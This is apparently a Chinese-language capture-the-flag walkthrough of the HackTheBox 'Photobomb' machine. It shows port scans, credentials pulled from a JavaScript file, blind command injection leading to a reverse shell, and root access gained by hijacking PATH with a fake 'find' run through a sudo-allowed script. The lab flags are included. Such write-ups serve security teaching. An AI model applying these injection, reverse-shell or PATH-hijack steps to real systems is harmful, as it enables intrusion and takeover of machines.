当前位置: 首页 > news >正文

中美网站建设沈阳cms模板建站

中美网站建设,沈阳cms模板建站,关于网站建设的申请,网站开发 接单目录 连接至HTB服务器并启动靶机 使用nmap对靶机进行端口开放扫描 再次使用nmap对靶机开放端口进行脚本、服务扫描 使用ffuf进行简单的子域名扫描 使用浏览器直接访问该域名 选取一个照片进行下载,使用Yakit进行抓包 USER_FLAG:a9afd9220ae2b5731…

目录

连接至HTB服务器并启动靶机

使用nmap对靶机进行端口开放扫描

再次使用nmap对靶机开放端口进行脚本、服务扫描

使用ffuf进行简单的子域名扫描

使用浏览器直接访问该域名

选取一个照片进行下载,使用Yakit进行抓包

USER_FLAG:a9afd9220ae2b573190f0ae0d9952f1c

特权提升

新建一个find文件(Shell)

ROOT_FLAG:2476206b2085f447038e0b03792bf147


连接至HTB服务器并启动靶机

靶机IP:10.10.11.182

分配IP:10.10.16.7


使用nmap对靶机进行端口开放扫描

nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 19:43 EST
Nmap scan report for 10.10.11.182 (10.10.11.182)
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 45.53 seconds

再次使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p 22,80 -sCV 10.10.11.182

可以看到这里访问靶机80端口被重定位,将其写入hosts中

echo '10.10.11.182 photobomb.htb' >> /etc/hosts

使用ffuf进行简单的子域名扫描

ffuf -u http://photobomb.htb/ -H 'Host: FUZZ.photobomb.htb' -w ../dictionary/subdomains-top20000.txt -t 200 -fc 302

使用浏览器直接访问该域名

点击click here会跳出认证框

按住Ctrl+U查看网页源码,可以找到一个JS文件:photobomb.js

直接点击查看其内容,获得一份凭证

账户:pH0t0

密码:b0Mb!

使用该凭证进行登录进入相册页

选取一个照片进行下载,使用Yakit进行抓包

经过测试:filetype这个参数点是无回显出网RCE(这里ping务必选定-c参数选择此数不然就会一直ping)

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.182] 56584
bash: cannot set terminal process group (696): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ whoami
whoami
wizard

查找user_flag位置并查看其内容

wizard@photobomb:~/photobomb$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
/home/wizard/user.txt
wizard@photobomb:~/photobomb$ cat /home/wizard/user.txt
cat /home/wizard/user.txt
a9afd9220ae2b573190f0ae0d9952f1c

USER_FLAG:a9afd9220ae2b573190f0ae0d9952f1c


特权提升

查看该用户可特权运行的命令

sudo -l

wizard@photobomb:~/photobomb$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

提升TTY

python3 -c 'import pty; pty.spawn("sh")'

查看/opt/cleanup.sh内容

cat /opt/cleanup.sh

$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

上述代码中,我主要关注这一部分,bashrc文件通常是bash环境配置文件

但是这个文件默认应该不在/opt目录下,所以我尝试寻找该系统的所有bashrc文件路径

find / -name '*bashrc*' -type f 2>/dev/null

$ find / -name '*bashrc*' -type f 2>/dev/null
find / -name '*bashrc*' -type f 2>/dev/null
/opt/.bashrc
/usr/share/byobu/profiles/bashrc
/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bashrc
/usr/share/doc/adduser/examples/adduser.local.conf.examples/bash.bashrc
/usr/share/base-files/dot.bashrc
/usr/lib/python3/dist-packages/pexpect/bashrc.sh
/etc/skel/.bashrc
/etc/bash.bashrc
/home/wizard/.bashrc

使用diff命令将/opt/.bashrc文件与/etc/bash.bashrc文件进行内容比对

$ diff /etc/bash.bashrc /opt/.bashrc
diff /etc/bash.bashrc /opt/.bashrc
5a6,11
> # Jameson: ensure that snaps don't interfere, 'cos they are dumb
> PATH=${PATH/:\/snap\/bin/}
>
> # Jameson: caused problems with testing whether to rotate the log file
> enable -n [ # ]
>

可以看到,该/opt/cleanup.sh脚本,引用的环境配置文件/opt/.bashrc中,关于Shell所运行的二进制文件路径配置与系统默认文件(/etc/bash.bashrc)不同

系统中的/etc/bash.bashrc文件使用的是/bin/绝对路径从这开始读取

/opt/.bashrc文件并未配置二进制文件寻找路径

这意味着如果我们运行/opt/cleanup.sh脚本,它将会从$PATH环境变量中的所有目录中查找二进制文件

再次查看脚本内容,在最后一行中可见使用的find命令并非绝对路径

提权思路就很简单了,当前目录下新建一个find命令,并将当前目录写入$PATH环境变量头部

与此同时,用这临时设置的环境变量特权(sudo)运行/opt/cleanup.sh脚本

新建一个find文件(Shell)

echo 'bash -i' > find

为find文件赋执行权限

chmod +x find

配置临时环境变量并启动/opt/cleanup.sh脚本

sudo PATH=$PWD:$PATH /opt/cleanup.sh

wizard@photobomb:~$ echo 'bash -i' > find
echo 'bash -i' > find
wizard@photobomb:~$ chmod +x find
chmod +x find

wizard@photobomb:~$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# whoami
whoami
root

在/root目录下找到了root.txt

root@photobomb:/# cd /root
cd /root
root@photobomb:~# ls
ls
root.txt
root@photobomb:~# cat root.txt
cat root.txt
2476206b2085f447038e0b03792bf147

ROOT_FLAG:2476206b2085f447038e0b03792bf147

http://www.ds6.com.cn/news/3843.html

相关文章:

  • 计算机网站建设与管理是什么站长数据
  • 大兴智能网站建设哪家好su搜索引擎优化
  • ui设计师需要掌握什么seo优化平台
  • 怎样看网站是谁做的短视频推广平台
  • 企业网站优化分为seo基础入门
  • 网站建设以及运营方面广告软文营销平台
  • 嘉兴做微网站多少钱迅速上排名网站优化
  • wordpress logo底色广州优化网站排名
  • 做企业网站项目的心得百度关键词优化
  • 武汉建站费用优化模型的推广
  • 河南响应式建站软文营销的优势
  • 小县城做房地产网站百度推广工具有哪些
  • 广东快速做网站公司免费网站制作
  • 成都住房和城乡建设厅网站网上教育培训机构哪家好
  • 培训 网站 模板在线域名ip查询
  • 做网站需要哪些硬件网页开发流程
  • ajax做网站南昌关键词优化软件
  • vi系统设计济南seo优化外包服务
  • 开封网站建设谷歌google
  • 自己买个服务器做代挂网站b站是哪个网站
  • 巴中城乡建设官方网站西安百度推广开户
  • 做动态影集的网站优化大师的功能有哪些
  • 网站首页设计分析怎么在百度推广
  • 学服装设计真的没有出路吗青岛百度seo排名
  • 安徽住房和城乡建设厅官网专业全网优化
  • 湖南网站建设360o百度收录网站多久
  • 三水网站设计地推拉新app推广平台
  • 做网站建设销售工资市场调研报告怎么写范文
  • 江苏大汉建设实业集团网站最新热搜新闻事件
  • 做预算查价格的网站是哪个电商